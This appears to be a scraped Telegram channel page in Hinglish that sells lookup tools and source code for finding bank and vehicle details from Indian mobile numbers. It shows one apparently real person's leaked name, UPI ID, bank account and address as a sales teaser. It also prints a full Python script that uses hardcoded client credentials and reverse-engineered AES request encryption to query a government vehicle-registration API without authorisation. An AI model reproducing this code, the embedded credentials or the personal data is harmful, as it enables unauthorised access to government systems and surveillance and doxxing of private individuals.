𝘼𝙗𝙝𝙞𝙜𝙮𝙖𝙣 𝙏𝙤𝙤𝙡𝙨 𝙇𝙖𝙗
رفتن به کانال در Telegram
Personal research tools • APIs • bots Updates • demos • limited access drops Not for illegal use
نمایش بیشترکشور مشخص نشده استدسته بندی مشخص نشده است
963
مشترکین
+4324 ساعت
+2677 روز
+59430 روز
آرشیو پست ها
Utani chijen Maine public mein leak Ki Hai
To soch sakte ho private wale mein kya hoga
Isliye aao join kar lo
Name: RUKSAR AZMI ISLAM
UPI: ruksarazmiislam@oksbi
Account Type: SAVINGS
IFSC: SBIN0014257
Bank: State Bank of India
Branch: MANKACHAR
City: DHUBRI
State: ASSAM
Address: CHOWK BAZAR, MANKACHAR P.OMANKACHAR DIST.DHUBRI PIN783131
Number to bank info
99.99% success rate
Government service ka use karke maping karti hai isliye success rate bahut high hai
Api 500₹ month
Src 1500₹
Itna cheap Koi nahin dega
Aao lelo @Kz40x
+2
Do din mein itne source code Diya hun
Abhi to aur Dunga parmanent channel hai 😆
Message here for joining @Kz40x
Price 1200₹ permanent
Har दो-दो din per price badhega
Kyunki src badhati jayegi isliye abhi join kar lo
def main() -> None:
print("=" * 44)
print(" Mobile → Vehicle Lookup (NAPIX)")
print("=" * 44)
mobile = input("\nEnter 10-digit mobile number: ").strip()
mobile = re.sub(r"\D", "", mobile)
if len(mobile) != 10:
print("Error: enter exactly 10 digits.")
return
print("\nSearching... please wait")
try:
result = vehicle_by_mobile(mobile)
print_result(result)
except Exception as e:
print("\nError:", e)
if name == "main":
main()
`}
headers = {
"User-Agent": "okhttp/4.9.2",
"Accept": "application/json",
"timestamp": timestamp,
"Authorization": f"Bearer {token}",
"Param2": "2.0.142",
"Param1": "abcd",
"Content-Type": "application/json; charset=utf-8",
}
response = requests.post(
url, json=envelope, headers=headers, timeout=timeout or TIMEOUT
)
raw: Any = response.text
try:
outer = response.json()
encoded = outer.get("data")
if encoded:
encrypted_text = base64.b64decode(encoded).decode("utf-8")
raw = aes_transform(False, encrypted_text, key)
try:
raw = json.loads(raw)
except json.JSONDecodeError:
pass
else:
raw = outer
except Exception:
pass
return response.status_code, raw
def vehicle_by_mobile(mobile_no: str) -> dict[str, Any]:
mobile_no = str(mobile_no or "").strip()
if not re.fullmatch(r"\d{10}", mobile_no):
raise ValueError("Mobile number must be exactly 10 digits")
token = get_token()
url = NAPIX_API_BASE_URL.rstrip("/") + "/vahan/vahancapi/common/getvehiclevalidity"
last: Any = None
for attempt in range(2):
try:
status, result = encrypted_post(
url, {"mobileNo": mobile_no}, token, timeout=10.0
)
except requests.RequestException as exc:
status, result = None, {"error": str(exc)}
if status and status < 500 and result not in (None, ""):
last = result
break
last = result
time.sleep(1.0)
if last is None:
raise RuntimeError("Vahan did not respond. Try again.")
api_message = last.get("apiMessage") or {} if isinstance(last, dict) else {}
vehicles_raw = last.get("data") if isinstance(last, dict) else None
vehicles: list[dict] = []
if isinstance(vehicles_raw, list):
vehicles = [v for v in vehicles_raw if isinstance(v, dict)]
elif isinstance(vehicles_raw, dict):
vehicles = [vehicles_raw]
if not vehicles:
msg = (
(last.get("error") if isinstance(last, dict) else None)
or api_message.get("developerMessage")
or api_message.get("message")
or "No vehicle registered against this mobile number."
)
return {
"mobileNo": mobile_no,
"found": False,
"vehicles": [],
"message": str(msg),
}
formatted = []
for v in vehicles:
entry = {label: v.get(key) for key, label in VEHICLE_VALIDITY_KEYS}
entry["_raw"] = v
formatted.append(entry)
return {
"mobileNo": mobile_no,
"found": True,
"count": len(formatted),
"vehicles": formatted,
}
def print_result(data: dict[str, Any]) -> None:
print("\n" + "=" * 44)
if not data.get("found"):
print("Mobile :", data.get("mobileNo"))
print("Status : No vehicles found")
print("Message:", data.get("message", "-"))
print("=" * 44)
return
print(f"Mobile : {data['mobileNo']}")
print(f"Found : {data.get('count', 0)} vehicle(s)")
print("=" * 44)
for i, v in enumerate(data.get("vehicles") or [], 1):
print(f"\n--- Vehicle #{i} ---")
for label in (
"Registration No",
"State",
"State Code",
"RTO Office",
"Office Code",
"Registration Upto",
"Fitness Upto",
"Tax Upto",
"Insurance Upto",
"PUCC Upto",
"Permit Upto",
):
val = v.get(label)
if val not in (None, "", []):
print(f" {label:20}: {val}")
print("\n" + "=" * 44)
Number to vehicle src
`
#!/usr/bin/env python3
"""
Pydroid script: Mobile number -> linked vehicles (mParivahan / NAPIX)
Install (Pydroid pip):
requests
pycryptodome
Run:
python vehicle_mobile_pydroid.py
"""
from future import annotations
import base64
import json
import os
import re
import socket
import time
from typing import Any
from urllib.parse import urlparse
try:
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
except ImportError:
raise SystemExit(
"Missing packages.\n"
"Pydroid: Pip → install: requests and pycryptodome"
)
# ── NAPIX config ──────────────────────────────────────────────
NAPIX_BASE_URL = os.getenv(
"NAPIX_BASE_URL", "https://delhigw.napix.gov.in/nic/parivahan/"
).rstrip("/") + "/"
NAPIX_API_BASE_URL = os.getenv(
"NAPIX_API_BASE_URL",
"https://delhigw.napix.gov.in/nic/parivahan/mparivahan/wrapperapi/",
).rstrip("/") + "/"
CLIENT_ID = os.getenv("NAPIX_CLIENT_ID", "b91c303443f61b37106750823881cd2f")
CLIENT_SECRET = os.getenv(
"NAPIX_CLIENT_SECRET", "de83eeeb148878ae375f28756492e8a0"
)
TIMEOUT = 12.0
_TOKEN: dict[str, Any] | None = None
VEHICLE_VALIDITY_KEYS = [
("regNo", "Registration No"),
("stateCd", "State Code"),
("stateName", "State"),
("officeName", "RTO Office"),
("offCd", "Office Code"),
("regnUpto", "Registration Upto"),
("fitUpto", "Fitness Upto"),
("taxUpto", "Tax Upto"),
("insUpto", "Insurance Upto"),
("puccUpto", "PUCC Upto"),
("permitUpto", "Permit Upto"),
]
def aes_transform(encrypt: bool, value: str, key: str) -> str:
key_bytes = key.encode("utf-8")
if encrypt:
encrypted = AES.new(key_bytes, AES.MODE_ECB).encrypt(
pad(value.encode("utf-8"), 16)
)
return base64.b64encode(encrypted).decode("ascii")
decrypted = AES.new(key_bytes, AES.MODE_ECB).decrypt(base64.b64decode(value))
return unpad(decrypted, 16).decode("utf-8")
def request_key(timestamp: str) -> str:
return timestamp[-4:][::-1] + timestamp[:4][::-1] + "!~)#@*&^"
def napix_reachable(timeout: float = 3.0) -> bool:
host = urlparse(NAPIX_BASE_URL).hostname or "delhigw.napix.gov.in"
try:
with socket.create_connection((host, 443), timeout=timeout):
return True
except OSError:
return False
def get_token(force_refresh: bool = False) -> str:
global _TOKEN
now = int(time.time())
if not force_refresh and _TOKEN and int(_TOKEN.get("expires_at", 0)) > now + 30:
return str(_TOKEN["access_token"])
if not napix_reachable():
raise RuntimeError(
"NAPIX gateway not reachable. Indian IP / good net required."
)
r = requests.post(
NAPIX_BASE_URL + "oauth2/token",
data={
"grant_type": "client_credentials",
"scope": "napix",
"client_id": CLIENT_ID,
"client_secret": CLIENT_SECRET,
},
headers={
"User-Agent": "okhttp/4.9.2",
"Content-Type": "application/x-www-form-urlencoded",
},
timeout=TIMEOUT,
)
r.raise_for_status()
data = r.json()
access = data.get("access_token")
if not access:
raise RuntimeError("Token endpoint did not return access_token")
_TOKEN = {
"access_token": access,
"expires_at": now + int(data.get("expires_in", 300)),
}
return str(access)
def encrypted_post(url: str, body: Any, token: str, timeout: float | None = None):
timestamp = str(int(time.time() * 1000))
key = request_key(timestamp)
plain = json.dumps(body if body is not None else {}, separators=(",", ":"))
encrypted_data = aes_transform(True, plain, key)
envelope = {
"data": base64.b64encode(encrypted_data.encode("ascii")).decode("ascii")Chut faad dunga
Loss hogya mera
Alag alag src sell krta 80k tak main earn kr leta
